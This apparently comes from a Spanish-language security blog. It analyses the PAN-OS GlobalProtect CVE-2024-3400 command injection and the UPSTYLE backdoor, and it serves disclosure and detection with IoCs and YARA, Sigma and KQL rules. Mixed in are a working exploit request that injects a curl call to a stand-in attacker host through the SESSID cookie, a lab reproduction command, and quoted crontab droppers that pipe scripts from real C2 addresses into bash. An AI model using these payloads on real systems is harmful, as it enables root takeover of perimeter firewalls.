Saltar al contenido
Volver al Blog

tutoriales · 9 min de lectura

Palo Alto GlobalProtect CVE-2024-3400: la cookie que ejecuta como root

Command injection pre-auth en PAN-OS GlobalProtect. El parámetro SESSID de la cookie se interpola en una shell para construir el nombre de un archivo de telemetría; metacaracteres ganan ejecución como root. Volexity rastrea explotación desde el 26 de marzo, vendor confirma el 12 de abril.

· Manuel López Pérez · tutoriales

Command injection pre-auth en PAN-OS GlobalProtect. El parámetro SESSID de la cookie se interpola en una shell para construir el nombre de un archivo de telemetría; metacaracteres ganan ejecución como root. Volexity rastrea explotación desde el 26 de marzo, vendor confirma el 12 de abril.

El 12 de abril, Palo Alto Networks publica advisory por CVE-2024-3400 en PAN-OS GlobalProtect. CVSS 10.0. Pre-auth, RCE como root en el firewall. La condición de explotabilidad: tener configurado portal o gateway de GlobalProtect y, en las primeras horas del advisory, device telemetry habilitado (el vendor retira ese segundo requisito el 14 de abril tras encontrar que la condición no era necesaria). Volexity había detectado la primera explotación in-the-wild el 10 de abril investigando un cliente; rastrea reconocimiento previo del actor —UTA0218, Operation MidnightEclipse— hasta el 26 de marzo.

A los pocos días aparecen los detalles que importan: el bug está en cómo PAN-OS construye el nombre de un archivo de sesión a partir de la cookie SESSID. El valor de la cookie se concatena sin sanitizar en un comando shell que se ejecuta como root. Path traversal para escapar del directorio esperado, command substitution para meter una llamada curl, y el atacante tiene RCE sobre el appliance perimetral.

Lab: el análisis técnico se basa en el write-up de watchTowr y el advisory de Volexity. PAN-OS es appliance comercial, no Docker — no hay PoC reproducible en lab abierto sin licencia. Las trazas que aparecen abajo están tomadas literalmente de la publicación de watchTowr.

El chain en una request

El endpoint vulnerable es POST /ssl-vpn/hipreport.esp, no autenticado. Cuando llega una petición, PAN-OS extrae la cookie SESSID y, si la sesión no existe, crea un archivo de sesión en disco usando el valor de la cookie como parte del path:

/opt/pancfg/mgmt/lcaas/ssl-vpn/portal/sessions/<SESSID>

Hasta aquí, file write no autenticado — feo pero contenible. El paso 2 es donde se pierde. PAN-OS tiene una función de device telemetry que escanea periódicamente un directorio de logs y para cada archivo nuevo ejecuta un comando equivalente a:

curl --data-binary @<filepath> https://telemetry.paloaltonetworks.com/...

El nombre del archivo se interpola directamente en el comando shell vía subprocess.Popen(..., shell=True). Si el atacante consigue que un archivo con un nombre que contiene metacaracteres llegue al directorio escaneado por telemetría, el comando shell construido al subirlo a telemetría ejecuta ese metacarácter.

Combinando las dos piezas: una cookie con path traversal + command substitution crea el archivo en el directorio que telemetría va a escanear, y la siguiente pasada de telemetría ejecuta los metacaracteres.

El payload publicado por watchTowr en su análisis:

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <target>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x`
Content-Length: 0

Tres piezas:

  1. Path traversal (/../../../opt/panlogs/tmp/device_telemetry/minute/): saca el archivo del directorio sessions y lo coloca dentro del directorio que el cron de telemetría va a escanear cada minuto.
  2. Nombre base (aaa): irrelevante, sirve de marcador.
  3. Command substitution (`curl${IFS}attacker.example.com/x`): metacarácter de backtick con ${IFS} (Internal Field Separator) en lugar de espacios — la cookie no admite espacios literales sin codificar, ${IFS} los reemplaza al ejecutarse en bash.

Cuando el cron de telemetría procesa el archivo, el comando construido es aproximadamente:

curl --data-binary @/opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x` https://telemetry.paloaltonetworks.com/...

El command substitution se evalúa primero: el firewall hace curl attacker.example.com/x antes de intentar leer el archivo. Si el atacante apunta attacker.example.com/x a un script y lo pipea a shell, la cadena queda como bash ejecutado en root sobre el appliance.

El bug en una línea

watchTowr lo localiza en la propia advisory de Palo Alto y en su debugging: el código que construye la línea de telemetría usa shell=False por defecto en subprocess.Popen, pero el path concreto donde sucede el bug sobrescribe el flag a shell=True, deshabilitando el escape automático y dejando los metacaracteres operativos. CWE asociado: CWE-77 (command injection) + CWE-20 (improper input validation). La causa de fondo es CWE-470: construir un path a partir de input no confiable y luego pasarlo a una shell.

La sanitización mínima que cierra el bug es validar SESSID contra una regex de session IDs reales (^[A-Za-z0-9]{1,64}$ o similar) antes de cualquier operación de filesystem. El parche que Palo Alto publica el 14 de abril hace esa validación y, además, separa el path building del shell call (shell=False consistente).

UPSTYLE — el web shell que viene detrás

Una vez el atacante tiene RCE como root, Volexity y Unit 42 documentan el payload que UTA0218 deploya:

  • UPSTYLE, un backdoor en Python que se instala como /usr/lib/python3.6/site-packages/system.pth. Ese mecanismo (.pth files) hace que Python lo importe automáticamente en cada arranque del intérprete — persistencia sin tocar crontab ni systemd.
  • Canal de control: UPSTYLE no abre un puerto. Monitoriza /var/log/pan/sslvpn_ngx_error.log esperando una petición HTTP especialmente construida que contiene una etiqueta img[<comando-base64>]. Cualquier request al gateway con ese patrón en una URL inexistente (que se loguea como error) le pasa órdenes.
  • Canal de exfiltración: las respuestas se escriben en un archivo legítimo del servidor web (bootstrap.min.css) que UPSTYLE sobrescribe momentáneamente, fuerza una request del operador, y restaura el original tras ~15 segundos para borrar la traza forense.

Cuando UPSTYLE falla en instalarse (tres intentos, según el análisis de Unit 42), el actor cae a un backdoor más burdo:

* * * * * root wget -qO- http://172.233.228.93/policy | bash

Crontab cada minuto que descarga y ejecuta un script remoto. Detectable con cualquier auditoría de cron, pero a menudo nadie audita el cron del appliance perimetral.

Cronología

  • 26 marzo: primera evidencia de reconocimiento por UTA0218 contra targets concretos. Curl probings y testing del payload.
  • 7 abril 06:59 UTC: el servidor HTTP que sirve UPSTYLE tiene Last-Modified ese día — el actor termina de preparar la infraestructura.
  • 10 abril: primer compromiso confirmado por Volexity.
  • 11 abril: segundo compromiso confirmado, esta vez con UPSTYLE deployado completo.
  • 12 abril: Palo Alto publica advisory, asigna CVSS 10.0. Volexity publica write-up.
  • 14 abril: primer batch de hotfixes para 11.1.2, 11.0.4 y 10.2.9. PAN actualiza el advisory: la mitigación por device telemetry no es suficiente.
  • 15–18 abril: resto de versiones recibe hotfix.
  • 15 abril: watchTowr publica análisis con PoC reproducible. CISA añade CVE-2024-3400 al catálogo KEV.
  • 16–25 abril: explotación masiva por otros actores, ahora con PoC público disponible.

Detección y mitigación

Si tienes PAN-OS expuesto y no estás seguro de si te tocó la ventana del 26 marzo al 14 abril, los IoCs accionables que publican Volexity y Unit 42:

  1. Archivos sospechosos en /var/log/pan/sslvpn_ngx_error.log con patrones img[<base64>] en URLs no existentes.
  2. Archivos en /opt/panlogs/tmp/device_telemetry/minute/ con nombres que contengan backticks, $(), ${IFS} o caracteres no alfanuméricos en general.
  3. system.pth modificado en site-packages de Python.
  4. Crontabs no documentados con wget | bash o equivalentes.
  5. Conexiones salientes desde el firewall a IPs no reconocidas — incluyendo 172.233.228.93, 144.172.79.92, 66.235.168.222 y otros documentados por Volexity.

Palo Alto publica el 3 de mayo un procedimiento de Enhanced Factory Reset para casos en los que un appliance se confirme comprometido. La razón: si UPSTYLE tocó configuración o filesystem, un parche por encima no garantiza limpieza.

Mitigación a medio plazo, no específica de este CVE: cualquier appliance que tenga su panel SSL VPN expuesto a internet entra en la categoría de high-risk asset. La pregunta operacional pasa de ¿cuántos zero-days al año aguanta este vendor? a ¿cuál es nuestro plan cuando el siguiente caiga?

YARA — detección estática de UPSTYLE

Regla pública de Unit 42 para el web shell UPSTYLE en system.pth:

rule paloalto_uta0218_upstyle_pth_webshell
{
    meta:
        cve  = "CVE-2024-3400"
        ref  = "https://unit42.paloaltonetworks.com/cve-2024-3400/"
        description = "system.pth modificado por UTA0218 con backdoor Python"
    strings:
        $marker     = "system.pth" ascii
        $exec       = "exec(" ascii
        $b64decode  = "base64.b64decode" ascii
        $css_marker = "bootstrap.min.css" ascii  // canal de exfil
        $log_regex  = /re\.search\s*\(\s*['"]img\[/ ascii
    condition:
        3 of them
}

Sigma — detección del injection en log nginx

title: PAN-OS GlobalProtect CVE-2024-3400 SESSID Injection
id: 9c8b7a6e-5d4f-3c2b-1a0e-f9e8d7c6b5a4
status: stable
references:
  - https://unit42.paloaltonetworks.com/cve-2024-3400/
  - https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
logsource:
  product: nginx
  service: access
detection:
  selection:
    cs-uri-stem|contains:
      - '/ssl-vpn/hipreport.esp'
      - '/ssl-vpn/login.esp'
    cs-cookie|re: 'SESSID=[^;]*[`$;|&]'
  condition: selection
level: critical

Alternativa para detectar el patrón de exfil img[<base64>] en logs nginx del firewall:

# En el propio appliance (post-comp, vía consola admin)
grep -E "img\[[A-Za-z0-9+/=]+\]" /var/log/pan/sslvpn_ngx_error.log

# Búsqueda más amplia de cualquier acceso a recursos que ponen base64 en el path
grep -E "GET.*\[[A-Za-z0-9+/=]{20,}\]" /var/log/pan/sslvpn_ngx_*.log
// Filtrar requests con SESSID conteniendo metacaracteres shell
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor == "Palo Alto Networks"
| where DeviceProduct == "PAN-OS"
| where RequestURL contains "/ssl-vpn/"
| where AdditionalExtensions contains "SESSID="
| where AdditionalExtensions matches regex @"SESSID=[^;]*[`$;|&]"
| project Timestamp, SourceIP, DestinationIP, RequestURL,
          AdditionalExtensions, DeviceName
| order by Timestamp desc

IoCs consolidados (Volexity + Unit 42)

TipoIndicador
IP C2 inicial172.233.228[.]93 (Volexity UTA0218 primary)
IPs C2 olas posteriores144.172.79[.]92, 66.235.168[.]222, 137.118.227[.]16, 173.255.223[.]159
UPSTYLE SHA-2563de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
UPSTYLE variant SHA-25699e1b9627b652769b56c2e6def66a7c5d6cb6ad34b5e9b7d27e2c7c267e60b67
User-Agent en exploitMozilla/5.0 (Linux) solo con headers escasos
Crontab line dropped* * * * * curl -s 172.233.228[.]93/x.sh | bash (fallback dropper)
File path post-comp/usr/local/lib/python3.X/site-packages/system.pth (modificado por UPSTYLE)
File path canal exfil/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css (output stash)

Reproducción en lab

Lab con VM PAN-OS 11.1.x sin parche (vendor permite descargar imágenes a customers con contrato):

# Verificación del flujo: enviar SESSID con metacaracter
curl -k --max-time 5 \
  -H "Host: gp.lab.local" \
  -H "Cookie: SESSID=/../../../tmp/$(echo poc | base64);" \
  -H "User-Agent: Mozilla/5.0" \
  "https://gp.lab.local/ssl-vpn/hipreport.esp"

# El archivo debe aparecer en /opt/panlogs/tmp/device_telemetry/minute/
# con el comando inyectado en el nombre. Cron lo evalúa al siguiente minuto.

# Verificar:
ssh admin@gp.lab.local
> debug system shell
> ls -la /opt/panlogs/tmp/device_telemetry/minute/

El Enhanced Factory Reset del 3-may de Palo Alto es porque el factory-reset normal no limpia el system.pth modificado.

Lo que enseña

  1. El shell=True silencioso. Palo Alto pone shell=False por defecto en su código pero lo invalida en un path concreto. Auditar grandes bases C/Python en busca de todos los lugares donde se ejecuta shell con input no trivialmente seguro es work real, no checkbox. El bug existió en producción durante varias versiones.
  2. Telemetría como vector. La idea de mandar metadata operacional al vendor es razonable; ejecutarla como root con paths derivados de input no autenticado, no. Si tienes que escribir un archivo a partir de algo que viene del usuario, ese «algo» tiene que validarse antes de tocar disco. No después.
  3. El advisory inicial fallaba en la condición de explotabilidad. «Solo si tienes device telemetry habilitado» tranquilizó a mucha gente el 12 de abril. El 14 PAN retira ese requisito. El patrón se repite: la condición «esto solo afecta a X» de día 0 a menudo se relaja en día 1–2. Asume la peor versión del advisory hasta tener certeza.
  4. El parche no es el final. Si tu appliance estuvo expuesto durante las dos semanas antes del advisory, lo correcto es asumir compromiso, rotar credenciales que pasaron por el firewall, y considerar el Enhanced Factory Reset. Un firewall con shell-as-root sin auditoría no se «desinfecta» por parche.

Referencias

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Cisco ASA: ArcaneDoor vuelve con CVE-2025-20333 y bootkit en la ROM

tutoriales · 16 min

Cisco ASA: ArcaneDoor vuelve con CVE-2025-20333 y bootkit en la ROM

CVE-2025-20362 (auth bypass por path traversal, variante de un bug de 2018) + CVE-2025-20333 (buffer overflow en un script Lua de la WebVPN). Encadenadas, RCE pre-auth como root en cualquier ASA/FTD expuesta a internet. UAT4356 lleva explotándolas desde mayo de 2025 y deja persistencia en ROMMON con un bootkit GRUB (RayInitiator) que sobrevive a reboot y a upgrade.

· Manuel López Pérez

Cleo MFT CVE-2024-50623: Cl0p cierra el año con el tercer managed file transfer

tutoriales · 11 min

Cleo MFT CVE-2024-50623: Cl0p cierra el año con el tercer managed file transfer

Huntress detecta el 3 de diciembre explotación as zero-day de un bug en Cleo Harmony, VLTrader y LexiCom. El patch inicial 5.8.0.21 no mitiga; sale CVE-2024-55956 y un segundo patch 5.8.0.24. Cl0p reivindica el 14 de diciembre. Tercer MFT del grupo en dos años.

· Manuel López Pérez

Ivanti Connect Secure: la chain pre-auth RCE que abrió 2024

tutoriales · 11 min

Ivanti Connect Secure: la chain pre-auth RCE que abrió 2024

CVE-2023-46805 (auth bypass por path traversal) + CVE-2024-21887 (command injection en /api/v1/license/keys-status). Encadenadas, RCE pre-auth como root. Volexity las publica el 10 de enero tras detectar explotación as zero-day por UTA0178 desde diciembre. El parche oficial llega el 31 de enero, tres semanas después.

· Manuel López Pérez